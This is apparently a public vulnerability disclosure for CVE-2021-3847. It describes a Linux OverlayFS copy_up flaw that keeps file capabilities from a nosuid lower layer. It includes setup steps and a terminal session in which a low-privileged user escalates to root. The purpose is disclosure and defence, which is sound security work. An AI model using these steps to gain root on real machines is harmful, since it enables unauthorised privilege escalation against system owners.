CVE-2021-3847: OverlayFS - Potential Privilege Escalation using overlays copy_up

[Alon Zahavi <Alon.Zahavi () cyberark com>]

After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation 
proposed, as that would be a layering violation and could also possibly cause a regression.
This vulnerability was attached with CVE-2021-3847.
Here is the report that was initially sent:

## Bug Class
Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the 
security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
# Technical Details
## Summary:
An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of 
its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
## In details:
If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower 
layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with 
low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities 
into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its 
privileges.
See attached image.
## Build:
Any Linux machine with a support for overlayFS.
For example: AWS EC2 Ubuntu 20.04.
Mount a device to any folder.
Copy any file with capabilities into that folder.
Remount the device now with nosuid option.
mount an overlayFS mount where there are two layers. Make sure the lower directory is the directory with the capable 
file.
## Execution:
As a low-priv user cd into the merged directory.
Execute touch capable_file
cd to the upper layer directory.
Execute the capable binary.
## Expected Results:
When copying a capable file using a low privileges user, the file should be copied without any file capabilities. As 
the Linux kernel restricts the copying of a file with capabilities, so low-pric user should not be able to achieve this 
goal.
## Observed Results:
The new file that appears in the upper layer directory have the same capabilities as the file that had been copied. 
This behavior occur probably because the overlay driver's process is the one responsible for the copying, and it copies 
the whole file with its extended attributes.


########## Example ##########
# there are two mount in question
$ cd /home/user/overlayfs/

$ ls -l
drwxr-xr-x 3 user user   4096 Sep 19 14:07 lowerUSB
drwxrwxr-x 1 user user   4096 Sep 19 14:06 merge
drwxrwxr-x 2 user user   4096 Sep 14 13:32 test
drwxrwxr-x 2 user user   4096 Sep 19 14:06 upper
drwxrwxr-x 3 user user   4096 Sep 19 14:25 work

# there are two mount in question.
# lowerUSB is a mount of an USB, which has a capable file inside.
# IMPORTENT NOTE: This mount has "nosuid" option, so capabilities should be ignored while executing it.
# The second mount is the overlay mount. Its lower directory is `lowerUSB/` which is the first mount mentioned above. 
Its upper is just a regular directory on the root fs.
$ mount
/dev/sdd on /home/user/overlayfs/lowerUSB type ext4 (rw,nosuid,nodev,relatime,uhelper=udisks2)
overlay on /home/user/overlayfs/merge type overlay (rw,relatime,lowerdir=lowerUSB,upperdir=upper,workdir=work)

# The contents of all the directories.
$ ls -l *
lowerUSB:
total 40
-rwxr-xr-x 1 user user 17104 Sep 13 15:58 escalate
drwx------ 2 user user 16384 Jul  5 14:07 lost+found

merge:
total 40
-rwxr-xr-x 1 user user 17104 Sep 19 14:27 escalate
drwx------ 2 user user 16384 Jul  5 14:07 lost+found

test:
total 0

upper:
total 0

work:
total 4
d--------- 2 root root 4096 Sep 19 14:25 work

# escalate is an executable that set its uid and gid to 0.
$ getcap ./lowerUSB/escalate
./lowerUSB/escalate = cap_setgid,cap_setuid+eip

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

# When trying to execute ./lowerUSB/escalate, it does not work because it is a `nosuid` mount.
$ ./lowerUSB/escalate
[-] Failure

# Try to copy the binary with its capabilities.
# It should not work, because regular users are not allowed to copy the "security.capability" xattr.
$ cp --preserve=all ./lowerUSB/escalate ./test/escalate
cp: setting attribute 'security.capability' for 'security.capability': Operation not permitted

# Trigger the copy_up
$ touch ./merge/escalate
$ ls -l ./upper/
-rwxr-xr-x 1 user user 17K Sep 19 15:01 escalate

# The copy_up kept the binary capabilities (xattr)
$ getcap ./upper/escalate
./upper/escalate = cap_setgid,cap_setuid+eip

# executing the binary, with the capabilities, so the privileges will escalate to root.
$ ./upper/escalate
$ id
uid=0(root) gid=0(root) groups=0(root)